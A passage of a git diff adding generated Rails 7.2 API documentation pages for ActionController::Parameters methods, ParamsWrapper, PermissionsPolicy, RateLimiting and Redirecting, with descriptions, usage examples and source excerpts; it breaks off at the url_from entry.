+

Returns a new ActionController::Parameters instance with items that the block evaluates to true removed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 834
+    def reject(&block)
+      new_instance_with_inherited_permitted_status(@parameters.reject(&block))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reject!(&block) + +

+ + +
+

Removes items that the block evaluates to true and returns self.

+
+ + + +
+ Also aliased as: delete_if +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 839
+    def reject!(&block)
+      @parameters.reject!(&block)
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + require(key) + +

+ + +
+

This method accepts both a single key and an array of keys.

+ +

When passed a single key, if it exists and its associated value is either present or the singleton false, returns said value:

+ +
ActionController::Parameters.new(person: { name: "Francesco" }).require(:person)
+# => #<ActionController::Parameters {"name"=>"Francesco"} permitted: false>
+
+ +

Otherwise raises ActionController::ParameterMissing:

+ +
ActionController::Parameters.new.require(:person)
+# ActionController::ParameterMissing: param is missing or the value is empty: person
+
+ActionController::Parameters.new(person: nil).require(:person)
+# ActionController::ParameterMissing: param is missing or the value is empty: person
+
+ActionController::Parameters.new(person: "\t").require(:person)
+# ActionController::ParameterMissing: param is missing or the value is empty: person
+
+ActionController::Parameters.new(person: {}).require(:person)
+# ActionController::ParameterMissing: param is missing or the value is empty: person
+
+ +

When given an array of keys, the method tries to require each one of them in order. If it succeeds, an array with the respective return values is returned:

+ +
params = ActionController::Parameters.new(user: { ... }, profile: { ... })
+user_params, profile_params = params.require([:user, :profile])
+
+ +

Otherwise, the method re-raises the first exception found:

+ +
params = ActionController::Parameters.new(user: {}, profile: {})
+user_params, profile_params = params.require([:user, :profile])
+# ActionController::ParameterMissing: param is missing or the value is empty: user
+
+ +

Technically this method can be used to fetch terminal values:

+ +
# CAREFUL
+params = ActionController::Parameters.new(person: { name: "Finn" })
+name = params.require(:person).require(:name) # CAREFUL
+
+ +

but take into account that at some point those ones have to be permitted:

+ +
def person_params
+  params.require(:person).permit(:name).tap do |person_params|
+    person_params.require(:name) # SAFER
+  end
+end
+
+ +

for example.

+
+ + + +
+ Also aliased as: required +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 522
+    def require(key)
+      return key.map { |k| require(k) } if key.is_a?(Array)
+      value = self[key]
+      if value.present? || value == false
+        value
+      else
+        raise ParameterMissing.new(key, @parameters.keys)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + required(key) + +

+ + +
+ +
+ + + + + +
+ Alias for: require +
+ + + + +
+ +
+

+ + reverse_merge(other_hash) + +

+ + +
+

Returns a new ActionController::Parameters instance with all keys from current hash merged into other_hash.

+
+ + + +
+ Also aliased as: with_defaults +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 906
+    def reverse_merge(other_hash)
+      new_instance_with_inherited_permitted_status(
+        other_hash.to_h.merge(@parameters)
+      )
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reverse_merge!(other_hash) + +

+ + +
+

Returns the current ActionController::Parameters instance with current hash merged into other_hash.

+
+ + + +
+ Also aliased as: with_defaults! +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 915
+    def reverse_merge!(other_hash)
+      @parameters.merge!(other_hash.to_h) { |key, left, right| left }
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select(&block) + +

+ + +
+

Returns a new ActionController::Parameters instance with only items that the block evaluates to true.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 821
+    def select(&block)
+      new_instance_with_inherited_permitted_status(@parameters.select(&block))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select!(&block) + +

+ + +
+

Equivalent to Hash#keep_if, but returns nil if no changes were made.

+
+ + + +
+ Also aliased as: keep_if +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 826
+    def select!(&block)
+      @parameters.select!(&block)
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + slice(*keys) + +

+ + +
+

Returns a new ActionController::Parameters instance that includes only the given keys. If the given keys don’t exist, returns an empty hash.

+ +
params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+params.slice(:a, :b) # => #<ActionController::Parameters {"a"=>1, "b"=>2} permitted: false>
+params.slice(:d)     # => #<ActionController::Parameters {} permitted: false>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 725
+    def slice(*keys)
+      new_instance_with_inherited_permitted_status(@parameters.slice(*keys))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + slice!(*keys) + +

+ + +
+

Returns the current ActionController::Parameters instance which contains only the given keys.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 731
+    def slice!(*keys)
+      @parameters.slice!(*keys)
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_h(&block) + +

+ + +
+

Returns a safe ActiveSupport::HashWithIndifferentAccess representation of the parameters with all unpermitted keys removed.

+ +
params = ActionController::Parameters.new({
+  name: "Senjougahara Hitagi",
+  oddity: "Heavy stone crab"
+})
+params.to_h
+# => ActionController::UnfilteredParameters: unable to convert unpermitted parameters to hash
+
+safe_params = params.permit(:name)
+safe_params.to_h # => {"name"=>"Senjougahara Hitagi"}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 332
+    def to_h(&block)
+      if permitted?
+        convert_parameters_to_hashes(@parameters, :to_h, &block)
+      else
+        raise UnfilteredParameters
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_hash() + +

+ + +
+

Returns a safe Hash representation of the parameters with all unpermitted keys removed.

+ +
params = ActionController::Parameters.new({
+  name: "Senjougahara Hitagi",
+  oddity: "Heavy stone crab"
+})
+params.to_hash
+# => ActionController::UnfilteredParameters: unable to convert unpermitted parameters to hash
+
+safe_params = params.permit(:name)
+safe_params.to_hash # => {"name"=>"Senjougahara Hitagi"}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 352
+    def to_hash
+      to_h.to_hash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_param(*args) + +

+ + +
+ +
+ + + + + +
+ Alias for: to_query +
+ + + + +
+ +
+

+ + to_query(*args) + +

+ + +
+

Returns a string representation of the receiver suitable for use as a URL query string:

+ +
params = ActionController::Parameters.new({
+  name: "David",
+  nationality: "Danish"
+})
+params.to_query
+# => ActionController::UnfilteredParameters: unable to convert unpermitted parameters to hash
+
+safe_params = params.permit(:name, :nationality)
+safe_params.to_query
+# => "name=David&nationality=Danish"
+
+ +

An optional namespace can be passed to enclose key names:

+ +
params = ActionController::Parameters.new({
+  name: "David",
+  nationality: "Danish"
+})
+safe_params = params.permit(:name, :nationality)
+safe_params.to_query("user")
+# => "user%5Bname%5D=David&user%5Bnationality%5D=Danish"
+
+ +

The string pairs "key=value" that conform the query string are sorted lexicographically in ascending order.

+
+ + + +
+ Also aliased as: to_param +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 382
+    def to_query(*args)
+      to_h.to_query(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + + +

+ + +
+

Returns the content of the parameters as a string.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 237
+    delegate :keys, :empty?, :exclude?, :include?,
+      :as_json, :to_s, :each_key, to: :@parameters
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_unsafe_h() + +

+ + +
+

Returns an unsafe, unfiltered ActiveSupport::HashWithIndifferentAccess representation of the parameters.

+ +
params = ActionController::Parameters.new({
+  name: "Senjougahara Hitagi",
+  oddity: "Heavy stone crab"
+})
+params.to_unsafe_h
+# => {"name"=>"Senjougahara Hitagi", "oddity" => "Heavy stone crab"}
+
+
+ + + +
+ Also aliased as: to_unsafe_hash +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 396
+    def to_unsafe_h
+      convert_parameters_to_hashes(@parameters, :to_unsafe_h)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_unsafe_hash() + +

+ + +
+ +
+ + + + + +
+ Alias for: to_unsafe_h +
+ + + + +
+ +
+

+ + transform_keys(&block) + +

+ + +
+

Returns a new ActionController::Parameters instance with the results of running block once for every key. The values are unchanged.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 779
+    def transform_keys(&block)
+      return to_enum(:transform_keys) unless block_given?
+      new_instance_with_inherited_permitted_status(
+        @parameters.transform_keys(&block)
+      )
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transform_keys!(&block) + +

+ + +
+

Performs keys transformation and returns the altered ActionController::Parameters instance.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 788
+    def transform_keys!(&block)
+      return to_enum(:transform_keys!) unless block_given?
+      @parameters.transform_keys!(&block)
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transform_values() + +

+ + +
+

Returns a new ActionController::Parameters instance with the results of running block once for every value. The keys are unchanged.

+ +
params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+params.transform_values { |x| x * 2 }
+# => #<ActionController::Parameters {"a"=>2, "b"=>4, "c"=>6} permitted: false>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 762
+    def transform_values
+      return to_enum(:transform_values) unless block_given?
+      new_instance_with_inherited_permitted_status(
+        @parameters.transform_values { |v| yield convert_value_to_parameters(v) }
+      )
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transform_values!() + +

+ + +
+

Performs values transformation and returns the altered ActionController::Parameters instance.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 771
+    def transform_values!
+      return to_enum(:transform_values!) unless block_given?
+      @parameters.transform_values! { |v| yield convert_value_to_parameters(v) }
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + value?(value) + +

+ + +
+ +
+ + + + + +
+ Alias for: has_value? +
+ + + + +
+ +
+

+ + values() + +

+ + +
+

Returns a new array of the values of the parameters.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 425
+    def values
+      to_enum(:each_value).to_a
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + values_at(*keys) + +

+ + +
+

Returns values that were assigned to the given keys. Note that all the Hash objects will be converted to ActionController::Parameters.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 878
+    def values_at(*keys)
+      convert_value_to_parameters(@parameters.values_at(*keys))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_defaults(other_hash) + +

+ + +
+ +
+ + + + + +
+ Alias for: reverse_merge +
+ + + + +
+ +
+

+ + with_defaults!(other_hash) + +

+ + +
+ +
+ + + + + +
+ Alias for: reverse_merge! +
+ + + + +
+ +
+

+ + without(*keys) + +

+ + +
+ +
+ + + + + +
+ Alias for: except +
+ + + + +
+ + +

Instance Protected methods

+ +
+

+ + each_nested_attribute() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 996
+      def each_nested_attribute
+        hash = self.class.new
+        self.each { |k, v| hash[k] = yield v if Parameters.nested_attribute?(k, v) }
+        hash
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + nested_attributes?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 992
+      def nested_attributes?
+        @parameters.any? { |k, v| Parameters.nested_attribute?(k, v) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/ParamsWrapper.html b/src/7.2/classes/ActionController/ParamsWrapper.html new file mode 100644 index 0000000000..50c252db72 --- /dev/null +++ b/src/7.2/classes/ActionController/ParamsWrapper.html @@ -0,0 +1,150 @@ +--- +title: ActionController::ParamsWrapper +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Params Wrapper

+ +

Wraps the parameters hash into a nested hash. This will allow clients to submit requests without having to specify any root elements.

+ +

This functionality is enabled by default for JSON, and can be customized by setting the format array:

+ +
class ApplicationController < ActionController::Base
+  wrap_parameters format: [:json, :xml]
+end
+
+ +

You could also turn it on per controller:

+ +
class UsersController < ApplicationController
+  wrap_parameters format: [:json, :xml, :url_encoded_form, :multipart_form]
+end
+
+ +

If you enable ParamsWrapper for :json format, instead of having to send JSON parameters like this:

+ +
{"user": {"name": "Konata"}}
+
+ +

You can send parameters like this:

+ +
{"name": "Konata"}
+
+ +

And it will be wrapped into a nested hash with the key name matching the controller’s name. For example, if you’re posting to UsersController, your new params hash will look like this:

+ +
{"name" => "Konata", "user" => {"name" => "Konata"}}
+
+ +

You can also specify the key in which the parameters should be wrapped to, and also the list of attributes it should wrap by using either :include or :exclude options like this:

+ +
class UsersController < ApplicationController
+  wrap_parameters :person, include: [:username, :password]
+end
+
+ +

On Active Record models with no :include or :exclude option set, it will only wrap the parameters returned by the class method attribute_names.

+ +

If you’re going to pass the parameters to an ActiveModel object (such as User.new(params[:user])), you might consider passing the model class to the method instead. The ParamsWrapper will actually try to determine the list of attribute names from the model and only wrap those attributes:

+ +
class UsersController < ApplicationController
+  wrap_parameters Person
+end
+
+ +

You still could pass :include and :exclude to set the list of attributes you want to wrap.

+ +

By default, if you don’t specify the key in which the parameters would be wrapped to, ParamsWrapper will actually try to determine if there’s a model related to it or not. This controller, for example:

+ +
class Admin::UsersController < ApplicationController
+end
+
+ +

will try to check if Admin::User or User model exists, and use it to determine the wrapper key respectively. If both models don’t exist, it will then fall back to use user as the key.

+ +

To disable this functionality for a controller:

+ +
class UsersController < ApplicationController
+  wrap_parameters false
+end
+
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + +
EXCLUDE_PARAMETERS=%w(authenticity_token _method utf8)
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/ParamsWrapper/Options.html b/src/7.2/classes/ActionController/ParamsWrapper/Options.html new file mode 100644 index 0000000000..cc733a680a --- /dev/null +++ b/src/7.2/classes/ActionController/ParamsWrapper/Options.html @@ -0,0 +1,73 @@ +--- +title: ActionController::ParamsWrapper::Options +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/ParamsWrapper/Options/ClassMethods.html b/src/7.2/classes/ActionController/ParamsWrapper/Options/ClassMethods.html new file mode 100644 index 0000000000..41fa4d29bc --- /dev/null +++ b/src/7.2/classes/ActionController/ParamsWrapper/Options/ClassMethods.html @@ -0,0 +1,229 @@ +--- +title: ActionController::ParamsWrapper::Options::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _set_wrapper_options(options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/params_wrapper.rb, line 189
+      def _set_wrapper_options(options)
+        self._wrapper_options = Options.from_hash(options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inherited(klass) + +

+ + +
+

Sets the default wrapper key or model which will be used to determine wrapper key and attribute names. Called automatically when the module is inherited.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/params_wrapper.rb, line 244
+      def inherited(klass)
+        if klass._wrapper_options.format.any?
+          params = klass._wrapper_options.dup
+          params.klass = klass
+          klass._wrapper_options = params
+        end
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + wrap_parameters(name_or_model_or_options, options = {}) + +

+ + +
+

Sets the name of the wrapper key, or the model which ParamsWrapper would use to determine the attribute names from.

+ +

Examples

+ +
wrap_parameters format: :xml
+  # enables the parameter wrapper for XML format
+
+wrap_parameters :person
+  # wraps parameters into +params[:person]+ hash
+
+wrap_parameters Person
+  # wraps parameters by determining the wrapper key from Person class
+  # (+person+, in this case) and the list of attribute names
+
+wrap_parameters include: [:username, :title]
+  # wraps only +:username+ and +:title+ attributes from parameters.
+
+wrap_parameters false
+  # disables parameters wrapping for this controller altogether.
+
+ +

Options

+
  • +

    :format - The list of formats in which the parameters wrapper will be enabled.

    +
  • +

    :include - The list of attribute names which parameters wrapper will wrap into a nested hash.

    +
  • +

    :exclude - The list of attribute names which parameters wrapper will exclude from a nested hash.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/params_wrapper.rb, line 221
+      def wrap_parameters(name_or_model_or_options, options = {})
+        model = nil
+
+        case name_or_model_or_options
+        when Hash
+          options = name_or_model_or_options
+        when false
+          options = options.merge(format: [])
+        when Symbol, String
+          options = options.merge(name: name_or_model_or_options)
+        else
+          model = name_or_model_or_options
+        end
+
+        opts = Options.from_hash _wrapper_options.to_h.slice(:format).merge(options)
+        opts.model = model
+        opts.klass = self
+
+        self._wrapper_options = opts
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/PermissionsPolicy.html b/src/7.2/classes/ActionController/PermissionsPolicy.html new file mode 100644 index 0000000000..c959516eee --- /dev/null +++ b/src/7.2/classes/ActionController/PermissionsPolicy.html @@ -0,0 +1,67 @@ +--- +title: ActionController::PermissionsPolicy +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/PermissionsPolicy/ClassMethods.html b/src/7.2/classes/ActionController/PermissionsPolicy/ClassMethods.html new file mode 100644 index 0000000000..8bce7afbf5 --- /dev/null +++ b/src/7.2/classes/ActionController/PermissionsPolicy/ClassMethods.html @@ -0,0 +1,123 @@ +--- +title: ActionController::PermissionsPolicy::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + permissions_policy(**options, &block) + +

+ + +
+

Overrides parts of the globally configured Feature-Policy header:

+ +
class PagesController < ApplicationController
+  permissions_policy do |policy|
+    policy.geolocation "https://example.com"
+  end
+end
+
+ +

Options can be passed similar to before_action. For example, pass only: :index to override the header on the index action only:

+ +
class PagesController < ApplicationController
+  permissions_policy(only: :index) do |policy|
+    policy.camera :self
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/permissions_policy.rb, line 27
+      def permissions_policy(**options, &block)
+        before_action(options) do
+          if block_given?
+            policy = request.permissions_policy.clone
+            instance_exec(policy, &block)
+            request.permissions_policy = policy
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Railties.html b/src/7.2/classes/ActionController/Railties.html new file mode 100644 index 0000000000..faa96feecc --- /dev/null +++ b/src/7.2/classes/ActionController/Railties.html @@ -0,0 +1,67 @@ +--- +title: ActionController::Railties +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Railties/Helpers.html b/src/7.2/classes/ActionController/Railties/Helpers.html new file mode 100644 index 0000000000..ccaa846e60 --- /dev/null +++ b/src/7.2/classes/ActionController/Railties/Helpers.html @@ -0,0 +1,114 @@ +--- +title: ActionController::Railties::Helpers +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + inherited(klass) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/railties/helpers.rb, line 8
+      def inherited(klass)
+        super
+        return unless klass.respond_to?(:helpers_path=)
+
+        if namespace = klass.module_parents.detect { |m| m.respond_to?(:railtie_helpers_paths) }
+          paths = namespace.railtie_helpers_paths
+        else
+          paths = ActionController::Helpers.helpers_path
+        end
+
+        klass.helpers_path = paths
+
+        if klass.superclass == ActionController::Base && ActionController::Base.include_all_helpers
+          klass.helper :all
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/RateLimiting.html b/src/7.2/classes/ActionController/RateLimiting.html new file mode 100644 index 0000000000..32df789055 --- /dev/null +++ b/src/7.2/classes/ActionController/RateLimiting.html @@ -0,0 +1,67 @@ +--- +title: ActionController::RateLimiting +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/RateLimiting/ClassMethods.html b/src/7.2/classes/ActionController/RateLimiting/ClassMethods.html new file mode 100644 index 0000000000..905b345fd2 --- /dev/null +++ b/src/7.2/classes/ActionController/RateLimiting/ClassMethods.html @@ -0,0 +1,126 @@ +--- +title: ActionController::RateLimiting::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + rate_limit(to:, within:, by: -> { request.remote_ip } + +

+ + +
+

Applies a rate limit to all actions or those specified by the normal before_action filters with only: and except:.

+ +

The maximum number of requests allowed is specified to: and constrained to the window of time given by within:.

+ +

Rate limits are by default unique to the ip address making the request, but you can provide your own identity function by passing a callable in the by: parameter. It’s evaluated within the context of the controller processing the request.

+ +

Requests that exceed the rate limit are refused with a 429 Too Many Requests response. You can specialize this by passing a callable in the with: parameter. It’s evaluated within the context of the controller processing the request.

+ +

Rate limiting relies on a backing ActiveSupport::Cache store and defaults to config.action_controller.cache_store, which itself defaults to the global config.cache_store. If you don’t want to store rate limits in the same datastore as your general caches, you can pass a custom store in the store parameter.

+ +

Examples:

+ +
class SessionsController < ApplicationController
+  rate_limit to: 10, within: 3.minutes, only: :create
+end
+
+class SignupsController < ApplicationController
+  rate_limit to: 1000, within: 10.seconds,
+    by: -> { request.domain }, with: -> { redirect_to busy_controller_url, alert: "Too many signups on domain!" }, only: :new
+end
+
+class APIController < ApplicationController
+  RATE_LIMIT_STORE = ActiveSupport::Cache::RedisCacheStore.new(url: ENV["REDIS_URL"])
+  rate_limit to: 10, within: 3.minutes, store: RATE_LIMIT_STORE
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/rate_limiting.rb, line 47
+      def rate_limit(to:, within:, by: -> { request.remote_ip }, with: -> { head :too_many_requests }, store: cache_store, **options)
+        before_action -> { rate_limiting(to: to, within: within, by: by, with: with, store: store) }, **options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Redirecting.html b/src/7.2/classes/ActionController/Redirecting.html new file mode 100644 index 0000000000..5e0726f754 --- /dev/null +++ b/src/7.2/classes/ActionController/Redirecting.html @@ -0,0 +1,381 @@ +--- +title: ActionController::Redirecting +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
ILLEGAL_HEADER_VALUE_REGEX=/[\x00-\x08\x0A-\x1F]/
+ + + + + + + +

Instance Public methods

+ +
+

+ + redirect_back(fallback_location:, allow_other_host: _allow_other_host, **args) + +

+ + +
+

Soft deprecated alias for redirect_back_or_to where the fallback_location location is supplied as a keyword argument instead of the first positional argument.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/redirecting.rb, line 121
+    def redirect_back(fallback_location:, allow_other_host: _allow_other_host, **args)
+      redirect_back_or_to fallback_location, allow_other_host: allow_other_host, **args
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + redirect_back_or_to(fallback_location, allow_other_host: _allow_other_host, **options) + +

+ + +
+

Redirects the browser to the page that issued the request (the referrer) if possible, otherwise redirects to the provided default fallback location.

+ +

The referrer information is pulled from the HTTP Referer (sic) header on the request. This is an optional header and its presence on the request is subject to browser security settings and user preferences. If the request is missing this header, the fallback_location will be used.

+ +
redirect_back_or_to({ action: "show", id: 5 })
+redirect_back_or_to @post
+redirect_back_or_to "http://www.rubyonrails.org"
+redirect_back_or_to "/images/screenshot.jpg"
+redirect_back_or_to posts_url
+redirect_back_or_to proc { edit_post_url(@post) }
+redirect_back_or_to '/', allow_other_host: false
+
+ +

Options

+
  • +

    :allow_other_host - Allow or disallow redirection to the host that is different to the current host, defaults to true.

    +
+ +

All other options that can be passed to redirect_to are accepted as options, and the behavior is identical.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/redirecting.rb, line 148
+    def redirect_back_or_to(fallback_location, allow_other_host: _allow_other_host, **options)
+      if request.referer && (allow_other_host || _url_host_allowed?(request.referer))
+        redirect_to request.referer, allow_other_host: allow_other_host, **options
+      else
+        # The method level `allow_other_host` doesn't apply in the fallback case, omit
+        # and let the `redirect_to` handling take over.
+        redirect_to fallback_location, **options
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + redirect_to(options = {}, response_options = {}) + +

+ + +
+

Redirects the browser to the target specified in options. This parameter can be any one of:

+
  • +

    Hash - The URL will be generated by calling url_for with the options.

    +
  • +

    Record - The URL will be generated by calling url_for with the options, which will reference a named URL for that record.

    +
  • +

    String starting with protocol:// (like http://) or a protocol relative reference (like //) - Is passed straight through as the target for redirection.

    +
  • +

    String not containing a protocol - The current protocol and host is prepended to the string.

    +
  • +

    Proc - A block that will be executed in the controller’s context. Should return any option accepted by redirect_to.

    +
+ +

Examples

+ +
redirect_to action: "show", id: 5
+redirect_to @post
+redirect_to "http://www.rubyonrails.org"
+redirect_to "/images/screenshot.jpg"
+redirect_to posts_url
+redirect_to proc { edit_post_url(@post) }
+
+ +

The redirection happens as a 302 Found header unless otherwise specified using the :status option:

+ +
redirect_to post_url(@post), status: :found
+redirect_to action: 'atom', status: :moved_permanently
+redirect_to post_url(@post), status: 301
+redirect_to action: 'atom', status: 302
+
+ +

The status code can either be a standard HTTP Status code as an integer, or a symbol representing the downcased, underscored and symbolized description. Note that the status code must be a 3xx HTTP code, or redirection will not occur.

+ +

If you are using XHR requests other than GET or POST and redirecting after the request then some browsers will follow the redirect using the original request method. This may lead to undesirable behavior such as a double DELETE. To work around this you can return a 303 See Other status code which will be followed using a GET request.

+ +
redirect_to posts_url, status: :see_other
+redirect_to action: 'index', status: 303
+
+ +

It is also possible to assign a flash message as part of the redirection. There are two special accessors for the commonly used flash names alert and notice as well as a general purpose flash bucket.

+ +
redirect_to post_url(@post), alert: "Watch it, mister!"
+redirect_to post_url(@post), status: :found, notice: "Pay attention to the road"
+redirect_to post_url(@post), status: 301, flash: { updated_post_id: @post.id }
+redirect_to({ action: 'atom' }, alert: "Something serious happened")
+
+ +

Statements after redirect_to in our controller get executed, so redirect_to doesn’t stop the execution of the function. To terminate the execution of the function immediately after the redirect_to, use return.

+ +
redirect_to post_url(@post) and return
+
+ +

Open Redirect protection

+ +

By default, Rails protects against redirecting to external hosts for your app’s safety, so called open redirects. Note: this was a new default in Rails 7.0, after upgrading opt-in by uncommenting the line with raise_on_open_redirects in config/initializers/new_framework_defaults_7_0.rb

+ +

Here redirect_to automatically validates the potentially-unsafe URL:

+ +
redirect_to params[:redirect_url]
+
+ +

Raises UnsafeRedirectError in the case of an unsafe redirect.

+ +

To allow any external redirects pass allow_other_host: true, though using a user-provided param in that case is unsafe.

+ +
redirect_to "https://rubyonrails.org", allow_other_host: true
+
+ +

See url_from for more information on what an internal and safe URL is, or how to fall back to an alternate redirect URL in the unsafe case.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/redirecting.rb, line 103
+    def redirect_to(options = {}, response_options = {})
+      raise ActionControllerError.new("Cannot redirect to nil!") unless options
+      raise AbstractController::DoubleRenderError if response_body
+
+      allow_other_host = response_options.delete(:allow_other_host) { _allow_other_host }
+
+      self.status = _extract_redirect_to_status(options, response_options)
+
+      redirect_to_location = _compute_redirect_to_location(request, options)
+      _ensure_url_is_http_header_safe(redirect_to_location)
+
+      self.location      = _enforce_open_redirect_protection(redirect_to_location, allow_other_host: allow_other_host)
+      self.response_body = ""
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_from(location) + +

+ + +
+

